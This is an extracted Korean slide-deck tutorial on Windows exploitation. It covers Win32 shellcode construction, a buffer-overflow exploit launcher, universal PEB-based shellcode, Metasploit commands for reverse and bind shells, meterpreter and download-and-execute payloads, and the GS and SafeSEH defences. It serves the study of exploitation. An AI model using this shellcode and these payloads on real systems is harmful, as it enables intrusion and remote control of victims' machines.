Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Size: px
Start display at page:

Download "Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri"

Transcription

1 Windows System Hacking Technique Author Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : : :

2 Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format String Bug 1-3. Integer OverFlow 2. Classic Technique Review 2-1. Writing RET Based Buffer OverFlow Exploits Direct-RET Trampoline Real Application Attack(A-PDF All to MP3)

3 Table Of Contents 2/7 3. Win32 ShellCode 3-1. Making Win32 ShellCode 3-2. Win32 ShellCode Unicode Problem 3-3. Making Universal ShellCode 3-4. Using Metasploit Payload and Encoder 4. About Defence Technique 4-1. GS(Stack Guard) 4-2. SafeSEH(SEH Handler Validation Check) 4-3. DEP(Data Execution Prevension) 4-4. ASLR(Address Space Layout Randomization) 4-5. SEHOP(Structured Error Handling Overwrite Protection)

4 Table Of Contents 3/7 5. SEH(Structured Error Handling) 5-1. SEH(Structured Error Handling)? 5-2. Debugging SEH Chain Using OllyDbg Using WinDbg 5-3. Debugging Stack View On The SEH Chain Build Visual Studio 6.0(SEH3) Build Visual Studio 2005(SEH4) 6. Writing SEH Based Buffer OverFlow Exploits 6-1. SEH Handler OverWrite Debugging GS Option Enable Check SafeSEH Writing Exploit 6-2. Real Application Attack(MP3 Cd Converter)

5 Table Of Contents 4/7 7. RTL(Return To Library) 7-1. Application Test by DEP Policy Enable 7-2. RTL(Return To Library) 7-3. Chining RTL 7-4. Problem Of RTL?

6 Table Of Contents 5/7 8. ROP(Return Oriented Programming) 8-1. ROP(Return Oriented Programming)? 8-2. Gadjet 8-3. Weapon API Chain Function Parameter Weapon Test by DEP Policy(OptOut, AlwaysOn) 8-4. Flowing Going To ROP RET Based SEH Based 8-5. ROP Based Exploit Composition StackPivot ROP Chain(General-purpose Registers or Stack?) 8-6. Training ROP Based Exploit by POC Code 8-7. Universal ROP Exploit 8-8. Using mona.py Plug-in 8-9. RET Based ROP BlazeDVD DEP(OptOut) SEH Based ROP WireShark DEP(AlwaysOn)

7 Table Of Contents 6/7 9. Heap 9-1. About Heap 9-2. Debugging Heap 10. Heap Spray Part1 Basic Scripting Heap Spray Debugging String Allocation by JavaScript Basic String Allocation String Allocation by Unescape() Heap Spray Memory Layout Desired Heap Spray Memory Layout Heap Spray Script by Exploit-DB(IE6) Heap Spray Script by Exploit-DB(IE7) Reliability Pointer Verification by Heap Spray Code(IE6 and IE7) Exploit Heap Spray RSP MP3 Player(OCX ActiveX BOF) Non-Browser Heap Spray Adobe PDF Reader JavaScript Adobe Flash Player Action Script MS Office VBA

8 Table Of Contents 7/7 11. Heap Spray Part2 : ROP Heap Spray Internet Explorer 8 Problem ByPass DEP by Heap Spray Composition ROP Heap Spray Memory Layout Flowing Going To ROP Chain Converting Exploit Code RSP3 MP3 Player [ETC] Corean Team FF/IE8/IE9/IE10 Heap Spray Script 12. ByPass Defence Technique of Windows ASLR(Address Space Layout Randomization) Debugging ASLR ByPass ASLR with DEP - BlazeDVD SEHOP(Structured Error Handling Overwrite Protection) Debugging SEHOP Enable Execution Condition by _except_handler3() ByPass SEHOP AudioTran SEH Scope Table Overwrite

9 Introduction

10 0-1. Introduction u 서론 본문서는윈도우즈환경의기본적인버퍼오버플로우취약점부터현재까지널리알려진다양한취약점을예제와프로그램을통해서지식을공유하기위한목적으로작성하였습니다. 문서는 Stack 을공격하기위한기법에대한내용으로총 6 개로작성되었습니다. 문제가되는부분이있는경우메일을통해연락주시면감사하겠습니다.

11 0-2. Testing Environment u Windows XP OS : Windows XP Professional K Service Pack 3 Compiler 1 : Microsoft Visual Studio 6.0 Compiler 2 : Microsoft Visual Studio 2005 u Windows 7 OS : Windows 7 SP1 Ultimate K 32bit Compiler : Microsoft Visual Studio 2010 u Kali Linux OS : Kali Linux bit

12 0-2. Testing Environment u Microsoft Visual Studio Microsoft Visual Studio 6.0 Microsoft Visual Studio 2005 Microsoft Visual Studio 2010 u Script Language PyThon 2.7, JavaScript, VB Script, Action Script u Debugger OllyDbg, WinDbg, Immunity Debugger, IDA u Tools PE View, Depency Walker, Cygwin, IE Collection

13 Win32 ShellCode

14 3-1. Making Win32 ShellCode u 쉘코드를만들기위한방법 Visual Studio 의 Debugging 모드를활용 어셈블리어또는인라인어셈블리어로직접작성

15 3-1. Making Win32 ShellCode 쉘코드로만들코드와실행결과

16 3-1. Making Win32 ShellCode 소스코드에 BreakPoint(F9) 설정 -> 디버깅시작 (F5) -> 우클릭후디스어셈블리로이동

17 3-1. Making Win32 ShellCode C 소스코드를포함한불필요한부분을제외하고어셈블리코드만추출

18 3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[ h] // WinExec() push 0 // Arg1 : 0 call dword ptr ds:[ h] // ExitProcess()

19 3-1. Making Win32 ShellCode kenel32.dll 의 WinExec 함수의주소 0x7C800000(Image Base) + 0x000623AD(RVA) = 0x7C8623AD

20 3-1. Making Win32 ShellCode kenel32.dll 의 ExitProcess 함수의주소 0x7C800000(Image Base) + 0x0001CAFA(RVA) = 0x7C81CAFA

21 3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[ h] // WinExec() mov eax, 0x7c8623ad call eax push 0 // Arg1 : 0 call dword ptr ds:[ h] // ExitProcess() mov eax, 0x7c81cafa call eax

22 3-1. Making Win32 ShellCode

23 3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[ h] // WinExec() mov eax, 0x7c8623ad call eax push 0 // Arg1 : 0 call dword ptr ds:[ h] // ExitProcess() mov eax, 0x7c81cafa call eax

24 3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area xor eax, eax // Zero Initilizing xor ecx, ecx mov cl, 2 lea edi, [esp] rep stos dword ptr [edi] mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[ h] // WinExec() mov eax, 0x7c8623ad call eax push 0 // Arg1 : 0 xor eax, eax push eax call dword ptr ds:[ h] // ExitProcess() mov eax, 0x7c81cafa call eax

25 3-1. Making Win32 ShellCode

26 3-1. Making Win32 ShellCode 디버깅 -> 디스어셈블리이동 -> 코드바이트표시후기계어코드만추출

27 3-1. Making Win32 ShellCode push ebp mov ebp, esp sub esp, 8 xor eax, eax xor ecx, ecx mov cl, 2 lea edi, [esp] rep stos dword ptr [edi] \x55 \x8b\xec \x83\xec\x08 \x33\xc0 \x33\xc9 \xb1\x02 \x8d\x3c\x24 \xf3\xab mov mov mov mov byte ptr [ebp-8], 63h byte ptr [ebp-7], 61h byte ptr [ebp-6], 6Ch byte ptr [ebp-5], 63h \xc6\x45\xf8\x63 \xc6\x45\xf9\x61 \xc6\x45\xfa\x6c \xc6\x45\xfb\x63 push 5 lea eax, [ebp-8] push eax \x6a\x05 \x8d\x45\xf8 \x50 mov call xor push mov call eax, 0x7c8623ad eax eax, eax eax eax, 0x7c81cafa eax \xb8\xad\x23\x86\x7c \xff\xd0 \x33\xc0 \x50 \xb8\xfa\xca\x81\x7c \xff\xd0

28 3-1. Making Win32 ShellCode #include <windows.h> char shellcode[] = [ 작성한쉘코드입력지점 ] int main(int argc, char **argv) { int *code; code = (int *)shellcode; asm { jmp code; } return 0; } 쉘코드가제대로동작하는지테스트하기위한코드

29 3-1. Making Win32 ShellCode

30 3-2. Win32 ShellCode Unicode Problem u Unicode Problem 데이터 ( 여기서는쉘코드 ) 가내부적으로사용될때대문자에서소문자로변할수도, 아스키코드와유니코드간에변환이일어나기도함 아스키로입력된데이터 0x61( a ) 은유니코드 0x0061 로변환되며공격코드를사용할수없게됨 아스키로입력된데이터가유니코드로변환될때유니코드로표현할수없는문자는 0x003F 로대체 u Unicode 와호환가능한쉘코드 ASCII 와같은역할을하는코드를찾아그곳으로점프 새로운유니코드호환쉘코드를작성 디코더를이용 cp949 Unicode Table

31 3-2. Win32 ShellCode Unicode Problem #include <stdio.h> #include <process.h> #include <windows.h> char shellcode[] = "\x55" // push ebp "\x8b\xec" // mov ebp, esp "\x83\xec\x08" // sub esp, 8 "\x33\xc0" // xoreax, eax "\x33\xc9" // xorecx, ecx "\xb1\x02" // mov cl, 2 "\x8d\x3c\x24" // lea edi, [esp] "\xf3\xab" // rep stos dword ptr [edi] "\xc6\x45\xf8\x63" // byte ptr [ebp-8], 63h "\xc6\x45\xf9\x61" // byte ptr [ebp-7], 61h "\xc6\x45\xfa\x6c" // byte ptr [ebp-6], 6Ch "\xc6\x45\xfb\x63" // byte ptr [ebp-5], 63h "\x6a\x05" // push 5 "\x8d\x45\xf8" // lea eax, [ebp-8] "\x50" // push eax "\xb8\xad\x23\x86\x7c // mov eax, 0x7c8623ad "\xff\xd0" // calleax "\x33\xc0" // xoreax, eax "\x50" // push eax "\xb8\xfa\xca\x81\x7c // mov eax, 0x7c81cafa "\xff\xd0" // call eax ; 3.1 에서작성한쉘코드

32 3-2. Win32 ShellCode Unicode Problem #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { char buffer[120]; int ebp = atoi(argv[1]); memset(buffer, 0x90, sizeof(buffer); memcpy(buffer+30, shellcode, strlen(shellcode); } *(long *)&buffer[ebp] = 0x ; *(long *)&buffer[ebp+4] = 0x0013FF14; execl( bof_vulne.exe, bof_vulne.exe, buffer, 0); return 0; // SFP 4 Byte OverWrite With Debugging // Return Address OverWrite For ShellCode // Exploit bof_vuln.exe cmd 의인자로쉘코드를주입하는형태의 Exploit

33 3-2. Win32 ShellCode Unicode Problem Unicode 문제에의해 3F 로대체된값확인 \x55\x8b\xec\x83\xec\x08\x33 \xc0\x33 // 0x3F \xc9\xb1\x02 \x8d\x3c // 0x3F \x24\xf3\xab \xc6\x45 \xf8\x63 // 0x3F \xc6\x45 \xf9\x61 // 0x3F \xc6\x45 \xfa\x6c // 0x3F \xc6\x45 \xfb\x63 // 0x3F \x6a\x05\x8d\x45 \xf8\x50 // 0x3F \xb8\xad\x23 \x86\x7c // 0x3F \xff \xd0\x33 // 0x3F \xc0\x50\xb8\xfa \xca\x81 // 0x3F \x7c\xff \xd0 // 0x3F

34 3-2. Win32 ShellCode Unicode Problem cmd 의인자로입력될시 0x3F 로변하지않게쉘코드다시작성

35 3-2. Win32 ShellCode Unicode Problem char shellcode[] = "\x33\xc0" // xor eax, eax "\x50" // push eax "\x68\x63\x61\x6c\x63" // push 0x636c6163 "\x8b\xc4" // mov eax, esp "\x6a\x05" // push 5 "\x50" // push eax "\x68\xfa\xca\x71\x7c" // push 0x7c71cafa "\x80\x44\x24\x02\x10" // add byte ptr [esp+2], 10h "\x68\x7d\x23\x76\x7c" // push 0x7c76237d "\x80\x04\x24\x30" // add byte ptr [esp], 30h "\x80\x44\x24\x02\x10" // add byte ptr [esp+2], 10h "\xc3" // retn ;

36 3-2. Win32 ShellCode Unicode Problem 쉘코드테스트

37 3-2. Win32 ShellCode Unicode Problem cmd 의인자로넘길경우에도 0x3F 로변경되지않게됨

38 3-3. Making Universal ShellCode u Universal ShellCode 앞에서작성한기본쉘코드는그환경과동일한환경에서만동작 시스템마다 DLL 의버전이다르고 (XP SP2, XP SP3, Win 7,...), 그안에실제함수의주소도버전에따라달라지므로결과적으로같은 DLL 버전을사용하지않는환경에서는쉘코드가제대로동작하지않는상황이발생 u Universal ShellCode 를제작하는방법 kernel32.dll 의 LoadLibrary(), GetProcAddress() API 를동적으로구할수만있으면다른 DLL 을로드하고해당 DLL 의함수의주소를동적으로구할수있게됨 kernel32.dll 에서함수의주소를동적으로구하기위한방법 - PEB(Process Environment Block) 의 LDR 을이용하는방법 - TOP SEH 를이용하는방법

39 3-3. Making Universal ShellCode LDR 구조체로로드된모듈의정보를찾는과정

40 3-3. Making Universal ShellCode kernel32.dll 에서함수의주소를찾는과정

41 3-3. Making Universal ShellCode SEH Chain

42 3-3. Making Universal ShellCode SEH3 Layout

43 3-3. Making Universal ShellCode #include <windows.h> declspec(naked) void main() { asm { // [esp]~[esp+0x2f] : NamePointer // [esp+0x30]~[esp+0x5f] : AddressPointer // [esp+0x60]~[esp+0x9f] : String Data // [esp+0x100] : Function Count // [esp+0x104] : Number of Function sub esp, 0x108; mov ecx, 0x41; mov eax, 0; lea edi, dword ptr [esp]; rep stosd; mov dword ptr [esp+0x104], 1; // Number of Function PEB 를이용하여 Universal ShellCode 작성

44 3-3. Making Universal ShellCode // "kernel32.dll" mov dword ptr [esp+0x60], 0x6e72656b; mov dword ptr [esp+0x64], 0x32336c65; mov dword ptr [esp+0x68], 0x6c6c642e; // WinExec mov dword ptr [esp+0x70], 0x456e6957; mov dword ptr [esp+0x74], 0x636578; // calc.exe mov dword ptr [esp+0x78], 0x636c6163; mov dword ptr [esp+0x7c], 0x e; // ExitProcess mov dword ptr [esp+0x84], 0x ; mov dword ptr [esp+0x88], 0x636f7250; mov dword ptr [esp+0x8c], 0x737365; // Function Name Arrary lea eax, dword ptr [esp+0x70]; mov dword ptr [esp], eax; lea eax, dword ptr [esp+0x84]; mov dword ptr [esp+4], eax; PEB 를이용하여 Universal ShellCode 작성

45 3-3. Making Universal ShellCode START: // PEB를통해kernel32.dll의주소를구함 mov edx, dword ptr fs:[0x30]; // _TEB._PEB mov edx, dword ptr [edx+0xc]; // _PEB._LDR_DATA_TABLE mov edx, dword ptr [edx+0x14]; // _LDR_DATA_TABLE.InMemoryModuleList MODULE_GETNAME: mov esi, dword ptr [edx+0x28]; lea edi, dword ptr [esp+0x60]; // _LDR_DATA_TABLE_ENTRY // "kernel32.dll" MODULE_LOOP1: mov al, byte ptr [esi]; mov bl, byte ptr [edi]; cmp al, 0; jne MODULE_LOOP2; cmp bl, 0; jne MODULE_LOOP2; jmp MODULE_FINISH; PEB 를이용하여 Universal ShellCode 작성

46 3-3. Making Universal ShellCode MODULE_LOOP2: add esi, 2; add edi, 1; cmp al, bl; je MODULE_LOOP1; jmp MODULE_LDR_NEXT; MODULE_LDR_NEXT: mov edx, dword ptr [edx]; jmp MODULE_GETNAME; MODULE_FINISH: // kernel32.dll을통해특정함수의주소를구함 mov ebp, dword ptr [edx+0x10]; // Get Module(kernel32.dll) Image Base mov edx, dword ptr [ebp+0x3c]; // IMAGE_NT_HEADER_OFFSET 값 // mov eax, dword ptr [ebp+edx+0x78]; // EXPORT_TABLE RVA 값 // mov ebx, dword ptr [ebp+edx+0x7c]; // EXPORT_TABLE SIZE 값 mov edx, dword ptr [ebp+edx+0x78]; // EXPORT_TABLE RVA 값 add edx, ebp; // EXPORT_TABLE VA mov ecx, dword ptr [edx+0x18]; // EDT.Export NumberOf Function( 함수의개수 ) mov ebx, dword ptr [edx+0x20]; // EDT.Export Name Pointer Table add ebx, ebp; // ENT(Export Name Pointer Table) Address PEB 를이용하여 Universal ShellCode 작성

47 3-3. Making Universal ShellCode FUNC_GETNAME: dec ecx; mov esi, dword ptr [ebx+ecx*4]; add esi, ebp; mov edi, dword ptr [esp+0x100]; mov edi, dword ptr [esp+edi*4]; // Function Name Pointer RVA // Function Name Pointer VA // Function Array {WinExec, ExitProcess} FUNC_LOOP1: mov al, byte ptr [esi]; mov ah, byte ptr [edi]; cmp al, 0; jne FUNC_LOOP2; cmp ah, 0; jne FUNC_LOOP2; jmp FUNC_FINISH; FUNC_LOOP2: inc esi; inc edi; cmp al, ah; je FUNC_LOOP1; jmp FUNC_GETNAME; PEB 를이용하여 Universal ShellCode 작성

48 3-3. Making Universal ShellCode UNC_FINISH: mov ebx, dword ptr [edx+0x24]; add ebx, ebp; mov cx, word ptr [ebx+ecx*2]; // Ordinal Table RVA // Ordinal Table VA // name_index -> odrdinal 값확인 mov ebx, dword ptr [edx+0x1c]; // Export Address Table RVA add ebx, ebp; // Export Address Table VA mov eax, dword ptr [ebx+ecx*4]; // Export Address Table[Ordinal*4] 로함수 RVA 확인 add eax, ebp; // WinExec 함수VA COPY_FUNCADDR: mov ecx, dword ptr [esp+0x100]; mov dword ptr [esp+ecx*4+0x30], eax; CHECK_FUNC: mov ecx, dword ptr [esp+0x100]; mov edx, dword ptr [esp+0x104]; cmp ecx, edx; je FUNC_CALL; inc ecx; mov dword ptr [esp+0x100], ecx; jmp START; PEB 를이용하여 Universal ShellCode 작성

49 3-3. Making Universal ShellCode FUNC_CALL: // WinExec Function CALL push 5; lea ebx, dword ptr [esp+0x7c]; push ebx; lea eax, dword ptr [esp+0x38]; mov eax, dword ptr [eax]; call eax; // SW_SHOW // "calc.exe" } } // ExitProcess Function ALL push 1; lea eax, dword ptr [esp+0x34]; mov eax, dword ptr [eax+0x4]; call eax; PEB 를이용하여 Universal ShellCode 작성

50 3-3. Making Universal ShellCode Windows XP Service Pack 3 에서동작확인

51 3-3. Making Universal ShellCode Windows 7 Service Pack 1 에서동작확인

52 3-4. Using Metasploit Payload and Encoder u msfpayload 메인명령 msfpayload h // Help Banner msfpayload l // List Available Payloads u msfpayload 모듈 windows/exec // windows 명령어실행 windows/shell_bind_tcp // TCP Bind Shell windows/shell_reverse_tcp // TCP Reverse Shell windows/download_exec // HTTP(S)/FTP 파일다운로드및실행 windows/meterpreter/reverse_tcp // reverse_tcp 미터프리터 windows/x64/exec // Windows x64 환경명령어실행...

53 3-4. Using Metasploit Payload and Encoder u msfpayload 명령예시 (Kali Linux 기준 ) msfpayload windows/exec S - 페이로드에적용가능한옵션출력 msfpayload windows/exec CMD=calc.exe C - calc.exe 를실행시키는페이로드를생성하여 C 포맷의쉘코드로출력 msfpayload windows/exec CMD=notepad.exe X > payload.exe - notepad.exe 를실행시키는페이로드를생성하여윈도우실행파일 (payload.exe) 로저장 msfpayload windows/exec CMD=notepad.exe R > payload.raw - 위와동일하나로우데이터포맷으로저장하며, 추후 MSFencode 에서사용 msfpayload windows/shell_reverse_tcp LHOST= LPORT=9000 N 에 9000 포트를연결시킬 shell_reverse_tcp 페이로드를생성하여 PyThon 포맷의쉘코드로출력

54 3-4. Using Metasploit Payload and Encoder msfpayload windows/exec CMD=calc.exe C /* * windows/exec bytes * * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00" "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63" "\x2e\x65\x78\x65\x00"; root@kali:~# calc.exe 명령어실행페이로드를 C 포맷의쉘코드로출력한결과

55 3-4. Using Metasploit Payload and Encoder 페이로드로생성한쉘코드실행결과

56 3-4. Using Metasploit Payload and Encoder u msfencode 메인명령 msfencode h // Help Banner msfencode l // List Available Encoders msfencode e [opt] // The Encoder Use msfencode b [opt] // 제외할문자설정 (ex: \x00\xff ) msfencode t [opt] // 출력할포맷지정 // (c, elf, exe, java, js_le, js_be, perl, raw, ruby,...)... u msfencode 모듈 x86/shikata_ga_nai // Polymorphic XOR Addtive Feeback Encoder x86/countdown // Single-byte XOR Countdown Encoder x86/alpha_mixed // Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper // Alpha2 Alphanumeric Uppercase Encoder x86/unicode_mixed // Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper // Alpha2 Alphanumeric Unicode Uppercase Encoder

57 3-4. Using Metasploit Payload and Encoder u msfencode 명령예시 (Kali Linux 기준 ) msfencode I payload.raw o encoded_payload.exe e x86/shikata_ga_nai c 5 t exe - payload.raw 를 shikata_ga_nai 로 5 회인코딩후파일명을 encoded_payload.exe 로저장 msfpayload windows/exec CMD=calc.exe R msfencode b \x00\xff e x86/shikata_ga_nai t c - 페이로드로생성된로우데이터를 \x00 \xff 문자를제외하게끔 x86/shikata_ga_nai 로인코딩하고 C 포맷의쉘코드로출력 msfpayload windows/download_exec_https EXE=payload.exe URL= msfencode e x86/shikata_ga_nai t raw msfencode e x86/alpha_mixed t c - 다중인코딩페이로드생성후 C 포맷의쉘코드로출력 msfpayload windows/meterpreter/bind_tcp LPORT=443 R msfencode e x86/countdown c 5 -t raw msfencode e x86/shikata_ga_nai c 5 t exe o multi-encoded_payload.exe - 다중인코딩페이로드생성후윈도우실행파일 (multi-encoded_payload.exe) 로저장 msfencode I payload.raw BufferRegister=ESI e x86/alpha_mixed t c - ESI 레지스터가쉘코드를가리키는문자숫자조합형쉘코드를생성하여 C 포맷출력

58 3-4. Using Metasploit Payload and Encoder msfpayload windows/exec CMD=calc.exe R msfencode -e x86/shikata_ga_nai -t raw msfencode -e x86/alpha_mixed -t c [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1) [*] x86/alpha_mixed succeeded with size 516 (iteration=1) unsigned char buf[] = "\x89\xe1\xdb\xc6\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x68\x5a\x58\x4f\x6d\x6a\x6e\x4f\x30\x6f\x52\x6f\x69\x31\x68" "\x59\x31\x64\x71\x34\x68\x74\x32\x78\x44\x73\x4a\x69\x68\x31" "\x57\x43\x30\x31\x42\x70\x56\x77\x6d\x53\x4b\x58\x4b\x4c\x67" "\x73\x69\x6f\x43\x4c\x6c\x6d\x53\x64\x37\x73\x52\x4a\x4e\x58" "\x6a\x37\x79\x6b\x50\x6b\x39\x4b\x35\x4e\x77\x6e\x32\x7a\x39" "\x59\x53\x75\x52\x4b\x5a\x6f\x4b\x6d\x64\x4e\x46\x59\x6b\x4c" "\x4d\x46\x73\x73\x6c\x69\x34\x37\x79\x4a\x70\x4b\x69\x4e\x44" "\x70\x32\x71\x6e\x4a\x4b\x61\x6a\x61\x42\x77\x72\x52\x6d\x6d" "\x54\x42\x48\x79\x64\x4e\x4f\x4f\x66\x36\x68\x59\x44\x6f\x34" "\x30\x4c\x6b\x57\x68\x33\x47\x42\x4c\x32\x64\x70\x48\x31\x30" "\x69\x6b\x6a\x57\x71\x6d\x33\x75\x58\x39\x4a\x6b\x43\x4c\x6c" "\x49\x4c\x76\x34\x34\x75\x57\x6c\x6c\x55\x58\x45\x50\x4d\x6d" 다중인코딩페이로드출력결과

59 3-4. Using Metasploit Payload and Encoder "\x6c\x6f\x73\x68\x68\x39\x68\x4a\x4b\x48\x73\x70\x78\x31\x6e" "\x75\x68\x58\x72\x51\x45\x46\x39\x56\x35\x75\x56\x58\x36\x73" "\x37\x4d\x4b\x6d\x6d\x6b\x4a\x55\x54\x4f\x77\x6e\x6d\x5a\x57" "\x49\x48\x43\x45\x71\x36\x43\x48\x34\x67\x6d\x53\x55\x4e\x63" "\x74\x67\x62\x48\x4d\x4d\x48\x70\x7a\x7a\x50\x6b\x63\x56\x6c" "\x4b\x53\x30\x6b\x49\x63\x4b\x66\x4b\x6b\x72\x31\x49\x50\x58" "\x4a\x6a\x34\x47\x55\x6f\x74\x6b\x4f\x30\x5a\x4c\x52\x6b\x63" "\x43\x5a\x64\x6b\x43\x7a\x38\x64\x4f\x5a\x50\x43\x48\x55\x4f" "\x39\x50\x52\x51\x56\x5a\x37\x74\x48\x44\x79\x4a\x6d\x48\x31" "\x35\x33\x6d\x6f\x76\x70\x4f\x50\x59\x6f\x4d\x42\x4e\x64\x6f" "\x39\x6f\x6d\x65\x6d\x4c\x57\x54\x42\x59\x5a\x34\x39\x5a\x6f" "\x4b\x54\x4b\x4c\x62\x78\x33\x4d\x6c\x55\x43\x6e\x4d\x6f\x63" "\x69\x44\x71\x32\x56\x46\x61\x6c\x79\x32\x4c\x7a\x78\x6d\x77" "\x49\x43\x6c\x6a\x51\x6c\x6c\x50\x6b\x78\x75\x31\x4c\x34\x65" "\x34\x6e\x5a\x38\x53\x6e\x5a\x33\x52\x4c\x6c\x65\x4b\x6c\x62" "\x36\x56\x6c\x66\x32\x59\x6c\x36\x32\x37\x79\x37\x6e\x6e\x5a" "\x4c\x4f\x63\x53\x46\x6f\x76\x4f\x6e\x50\x38\x50\x36\x50\x52" "\x5a\x4e\x33\x38\x37\x49\x32\x59\x76\x75\x6a\x73\x62\x77\x33" "\x4c\x4c\x73\x72\x41\x41"; 다중인코딩페이로드출력결과

60 3-4. Using Metasploit Payload and Encoder 페이로드로생성한쉘코드실행결과

61 About Defence Technique

62 4-1. GS(Stack Guard) u Security Cookie Windows 상의 Stack Protection Visual Studio 7.0(2003) 버전이후 Default Option 으로적용 Stack 에할당된 Buffer 영역과 SFP(Saved Frame Pointer) 영역사이에랜덤한쿠키를추가하고, 이후체크루틴에의해값의변조유무를판단하여버퍼오버플로우를감지 ( 쿠키관련추가코드생성 )

63 4-1. GS(Stack Guard) Visual Studio 의컴파일속성에서 GS 옵션설정

64 4-1. GS(Stack Guard) void vulnerable(const char *str) { buffer[10]; strcpy(buffer, str); } GS Option Disabled // Vulnerable function // Buffer OverRun!! cookie = rand(); void vulnerable(const char *str) // Vulnerable function { int security_cookie = cookie; buffer[10]; strcpy(buffer, str); // Buffer OverRun!! if ( security_cookie!= cookie ) TerminateProcess(GetCurrentProcess()); } GS Option Enabled

65 4-1. GS(Stack Guard) Buffer (Local Variable Area) Buffer (Local Variable Area) Security Cookie Saved Frame Pointer(SFP) Saved Frame Pointer(SFP) Return Address(RET) Return Address(RET) GS 옵션미적용 Stack Frame GS 옵션적용 Stack Frame

66 4-1. GS(Stack Guard) #include <stdio.h> #include <string.h> int main(int artc, char **argv) { char buffer[10]; strcpy(buffer, artv[1]); return 0; } GS Option 으로컴파일될경우의코드확인을위한예제

67 4-1. GS(Stack Guard)

68 4-2. SafeSEH(SEH Handler Validation Check) u SEH Handler Validation Check SEH 기반 Exploit 을보호하기위한메커니즘 Visual Studio 7(2003) 버전이후 Default 옵션으로적용 (/SAFESEH) EXCEPTION_REGISTRATION_RECORD 의예외처리핸들러가조작되어있을경우핸들러를호출하지않음 컴파일시링커에의해안전한예외처리목록을생성하며, 후에예외처리핸들러가덮어씌여질경우예외를탐지하여프로그램을종료

69 4-2. SafeSEH(SEH Handler Validation Check) Visual Studio 의링커속성에서 SAFESEH 옵션설정

70 4-2. SafeSEH(SEH Handler Validation Check) OllyDbg 의 SafeSEH Moduler Scanner Plugin (Immunity Debugger 의 mona 플러그인으로도확인가능 )

